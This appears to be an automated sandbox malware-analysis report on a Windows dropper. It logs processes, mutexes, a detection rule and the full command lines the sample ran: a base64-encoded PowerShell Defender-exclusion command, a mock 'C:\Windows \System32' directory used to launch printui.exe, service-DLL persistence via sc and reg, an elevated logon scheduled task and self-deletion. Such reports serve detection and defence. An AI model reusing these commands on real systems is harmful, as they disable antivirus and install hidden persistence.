Source: C:\Users\user\Desktop\curlapp64.exe	Code function: String function: 00007FF8A9334EB0 appears 39 times
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: String function: 00007FF8A9314BB0 appears 52 times
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: String function: 00007FF8A9314D20 appears 44 times
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: String function: 00007FF8A93446D0 appears 45 times
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: String function: 00007FF8A9334D90 appears 42 times

Source: libwinpthread-1.dll.39.dr	Static PE information: Number of sections : 12 > 10
Source: bav64.exe.39.dr	Static PE information: Number of sections : 11 > 10
Source: libintl-9.dll.39.dr	Static PE information: Number of sections : 20 > 10
Source: libiconv-2.dll.39.dr	Static PE information: Number of sections : 20 > 10

Source: dYUteuvmHn.exe, 00000000.00000000.2047560018.00007FF71278E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamelibcurl.dllB vs dYUteuvmHn.exe
Source: dYUteuvmHn.exe, 00000000.00000000.2047560018.00007FF71278E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamezlib1.dll* vs dYUteuvmHn.exe
Source: dYUteuvmHn.exe, 00000000.00000002.2049374532.00007FF71278E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamelibcurl.dllB vs dYUteuvmHn.exe
Source: dYUteuvmHn.exe, 00000000.00000002.2049374532.00007FF71278E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamezlib1.dll* vs dYUteuvmHn.exe
Source: dYUteuvmHn.exe	Binary or memory string: OriginalFilenamelibcurl.dllB vs dYUteuvmHn.exe
Source: dYUteuvmHn.exe	Binary or memory string: OriginalFilenamezlib1.dll* vs dYUteuvmHn.exe

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg add HKLM\SYSTEM\CurrentControlSet\services\x610437\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x610437.dat" /f

Source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR

Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.evad.winEXE@155/76@4/5

Source: C:\Windows\System32\svchost.exe

Code function: 55_2_00007FF8B90D59C0 GetFileAttributesA,GetLastError,_errno,CreateFileA,GetLastError,DeviceIoControl,_errno,GetLastError,FormatMessageA,libintl_gettext,__acrt_iob_func,LocalFree,CloseHandle,_errno,CloseHandle,WideCharToMultiByte,_errno,isalpha,memcpy,

55_2_00007FF8B90D59C0

Source: C:\Users\user\Desktop\dYUteuvmHn.exe

File created: C:\Users\user\Desktop\curlapp64.exe

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2920:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4524:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5800:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3032:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4084:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3480:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5784:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6556:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3852:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6064:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5660:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3332:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5564:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6580:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3060:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4112:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1308:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5696:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4028:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3936:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6832:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5392:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6544:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ax2sheua.ecl.ps1

Source: dYUteuvmHn.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\cmd.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\dYUteuvmHn.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: dYUteuvmHn.exe

ReversingLabs: Detection: 65%

Source: svchost.exe	String found in binary or memory: -start
Source: svchost.exe	String found in binary or memory: -addr
Source: svchost.exe	String found in binary or memory: ../../gettext-runtime/intl/loadmsgcat.c

Source: unknown	Process created: C:\Users\user\Desktop\dYUteuvmHn.exe "C:\Users\user\Desktop\dYUteuvmHn.exe"
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Users\user\Desktop\curlapp64.exe"
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 10 /nobreak && del /q "C:\Users\user\Desktop\dYUteuvmHn.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\curlapp64.exe "C:\Users\user\Desktop\curlapp64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: unknown	Process created: C:\Users\user\Desktop\curlapp64.exe "C:\Users\user\Desktop\curlapp64.exe"
Source: unknown	Process created: C:\Users\user\Desktop\curlapp64.exe "C:\Users\user\Desktop\curlapp64.exe"
Source: C:\Users\user\Desktop\curlapp64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c mkdir "\\?\C:\Windows \System32"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\curlapp64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 10 /nobreak && del /q "C:\Users\user\Desktop\curlapp64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Users\user\Desktop\curlapp64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c rmdir /s /q "C:\Windows \"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\curlapp64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c mkdir "\\?\C:\Windows \System32"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\curlapp64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 10 /nobreak && del /q "C:\Users\user\Desktop\curlapp64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Users\user\Desktop\curlapp64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c rmdir /s /q "C:\Windows \"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\curlapp64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c mkdir "\\?\C:\Windows \System32"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\curlapp64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Windows \System32\printui.exe"
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Process created: C:\Windows \System32\printui.exe "C:\Windows \System32\printui.exe"
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Process created: C:\Windows \System32\printui.exe "C:\Windows \System32\printui.exe"
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Process created: C:\Windows \System32\printui.exe "C:\Windows \System32\printui.exe"
Source: C:\Users\user\Desktop\curlapp64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 10 /nobreak && del /q "C:\Users\user\Desktop\curlapp64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "$dec = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiJGVudjpTeXN0ZW1Ecml2ZVxXaW5kb3dzIFxTeXN0ZW0zMiI7DQpBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICIkZW52OlN5c3RlbURyaXZlXFdpbmRvd3NcU3lzdGVtMzIiOw==')); Invoke-Expression $dec;"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "$dec = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiJGVudjpTeXN0ZW1Ecml2ZVxXaW5kb3dzIFxTeXN0ZW0zMiI7DQpBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICIkZW52OlN5c3RlbURyaXZlXFdpbmRvd3NcU3lzdGVtMzIiOw==')); Invoke-Expression $dec;"
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32';"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc create x610437 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x610437\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x610437.dat" /f && sc start x610437
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc create x610437 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKLM\SYSTEM\CurrentControlSet\services\x610437\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x610437.dat" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start x610437
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k DcomLaunch
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Windows\System32\console_zero.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\console_zero.exe "C:\Windows\System32\console_zero.exe"
Source: C:\Windows\System32\console_zero.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Windows\System32\bav64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bav64.exe "C:\Windows\System32\bav64.exe"
Source: C:\Windows\System32\bav64.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 14 /nobreak && rmdir /s /q "C:\Windows \"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 14 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
Source: C:\Windows\System32\bav64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Remove-MpPreference -ExclusionPath 'C:\'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Remove-MpPreference -ExclusionPath 'C:\'"
Source: unknown	Process created: C:\Windows\System32\console_zero.exe C:\Windows\System32\console_zero.exe
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 16 /nobreak && del /q "C:\Windows\System32\svcldr64.dat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 16 /nobreak
Source: C:\Windows\System32\console_zero.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\bav64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Users'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Users'"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: C:\Windows\System32\bav64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Users\'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Users\'"
Source: C:\Windows\System32\bav64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Remove-MpPreference -ExclusionPath 'C:\ProgramData'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Remove-MpPreference -ExclusionPath 'C:\ProgramData'"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'F:\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'F:\'
Source: C:\Windows\System32\bav64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Program Files (x86)'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Program Files (x86)'"
Source: C:\Windows\System32\bav64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Program Files'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Program Files'"
Source: C:\Windows\System32\bav64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Windows\TEMP\'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Windows\TEMP\'"
Source: C:\Windows\System32\bav64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Remove-MpPreference -ExclusionPath 'colorcpl.exe'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Remove-MpPreference -ExclusionPath 'colorcpl.exe'"
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Users\user\Desktop\curlapp64.exe"	Jump to behavior
Source: C:\Users\user\Desktop\dYUteuvmHn.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 10 /nobreak && del /q "C:\Users\user\Desktop\dYUteuvmHn.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\curlapp64.exe "C:\Users\user\Desktop\curlapp64.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c mkdir "\\?\C:\Windows \System32"	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 10 /nobreak && del /q "C:\Users\user\Desktop\curlapp64.exe"	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c rmdir /s /q "C:\Windows \"	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c mkdir "\\?\C:\Windows \System32"	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 10 /nobreak && del /q "C:\Users\user\Desktop\curlapp64.exe"	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c rmdir /s /q "C:\Windows \"	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c mkdir "\\?\C:\Windows \System32"	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Windows \System32\printui.exe"	Jump to behavior
Source: C:\Users\user\Desktop\curlapp64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 10 /nobreak && del /q "C:\Users\user\Desktop\curlapp64.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows \System32\printui.exe "C:\Windows \System32\printui.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows \System32\printui.exe "C:\Windows \System32\printui.exe"	Jump to behavior
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "$dec = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiJGVudjpTeXN0ZW1Ecml2ZVxXaW5kb3dzIFxTeXN0ZW0zMiI7DQpBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICIkZW52OlN5c3RlbURyaXZlXFdpbmRvd3NcU3lzdGVtMzIiOw==')); Invoke-Expression $dec;"	Jump to behavior
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32';"	Jump to behavior
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc create x610437 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x610437\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x610437.dat" /f && sc start x610437	Jump to behavior
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Windows\System32\console_zero.exe"	Jump to behavior
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" "C:\Windows\System32\bav64.exe"	Jump to behavior
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 14 /nobreak && rmdir /s /q "C:\Windows \"	Jump to behavior
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c timeout /t 16 /nobreak && del /q "C:\Windows\System32\svcldr64.dat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "$dec = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiJGVudjpTeXN0ZW1Ecml2ZVxXaW5kb3dzIFxTeXN0ZW0zMiI7DQpBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICIkZW52OlN5c3RlbURyaXZlXFdpbmRvd3NcU3lzdGVtMzIiOw==')); Invoke-Expression $dec;"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc create x610437 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKLM\SYSTEM\CurrentControlSet\services\x610437\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x610437.dat" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start x610437
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'F:\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\console_zero.exe "C:\Windows\System32\console_zero.exe"
Source: C:\Windows\System32\console_zero.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bav64.exe "C:\Windows\System32\bav64.exe"
